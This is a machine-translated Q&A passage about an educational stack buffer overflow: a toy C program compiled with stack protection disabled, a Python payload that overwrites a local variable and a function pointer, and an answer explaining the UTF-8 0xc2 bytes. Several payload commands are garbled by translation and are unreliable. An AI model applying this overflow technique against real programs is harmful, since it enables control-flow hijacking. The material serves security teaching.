缓冲区溢出-插入了意外值



我正在尝试使用缓冲区溢出来覆盖两个局部变量,这样我就可以调用隐藏函数。这是C代码。

#include <stdio.h>
#include <stdlib.h>
static void hidden_function(void)
{
puts("I laugh in the face of danger. Ha ha ha ha!");
}
static void visible_function(void)
{
puts("Knock, knock! Who's there? Recursion. Recursion who? Knock, knock!");
}
static void helper_function(void)
{
void (*f_ptr)(void) = visible_function;
unsigned int dumb_number = 0x12345678;
char buffer[32];
printf("Provide buffer input: ");
fgets(buffer, 64, stdin);
printf("Dumb number value is 0x%08x.n", dumb_number);
printf("Buffer is %sn", buffer);
f_ptr();
}
int main(void)
{
helper_function();
return 0;
}

这是我使用的Makefile。

CC = gcc
CFLAGS = -m32 -Wall -Wextra -Wno-unused-function -g -O0 -fno-stack-protector -no-pie
LDFLAGS = -m32
.PHONY: all clean
all: overflow_ptr
overflow_ptr: overflow_ptr.o
$(CC) $(CFLAGS) -o $@ $<
overflow_ptr.o: overflow_ptr.c
clean:
-rm -f overflow_ptr.o overflow_ptr
-rm -f *~

运行nm overflow _ptr显示隐藏函数的地址如下:

080484a6 t hidden_function

所以我创建了以下有效载荷:

python3 -c 'print(32*"A" + "x21x43x65x87" + "xa6x84x04x08")'

这应该使得dump_number=0x87654321并且f_ptr=0x080484a6。然而,当我运行这个程序时,输出是:

Provide buffer input: Dumb number value is 0xc2654321.

这让我想知道为什么要插入c2?我认为这是某种保护措施。如果是这样的话,有什么办法可以预防吗?我在Ubuntu上使用64位虚拟机。

您的Python可能默认为UTF-8输入/输出编码,而不是ISO-8859-1。您可以通过设置环境变量PYTHONIOENCODING来覆盖默认的Python IO编码

您可以使用以下命令运行overflow_ptr

echo$(Python编码="ISO-8859-1"Python 3-c'打印(32*"A"+"\x21\x43\x65\x87"+".x66\x84\x08")')|/飞越ptr

输出应该是:

Provide buffer input: Dumb number value is 0x87654321.
Buffer is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!Ce���
I laugh in the face of danger. Ha ha ha ha!

我怀疑在您的系统上,如果要运行以下命令:

python3-c'打印(32*"A"+"\x21\x43\x65\x87"+"\xa6\x84\x04\x08")'|od-tx1-v

输出将类似于:

0000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
0000020 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
0000040 21 43 65 c2 87 c2 a6 c2 84 04 08 0a

您可能期望的输出是:

0000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
0000020 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
0000040 21 43 65 87 a6 84 04 08 0a

您会注意到,在第一个输出中,所有>=0x80的值都被转换为多个字节,每个字节以0xc2开头。这种字符转换将意外的c2引入到您的哑数值中。


备注:

  • 如果您希望避免Python在末尾添加额外的0x0a,您可以告诉print函数通过以下方式消除它:

    打印(32*"A"+"\x21\x43\x65\x87"+".x66\x84\x04\x08",end=")

    通过将end=""指定为print的参数,可以消除终止0x0a(换行)字符。

最新更新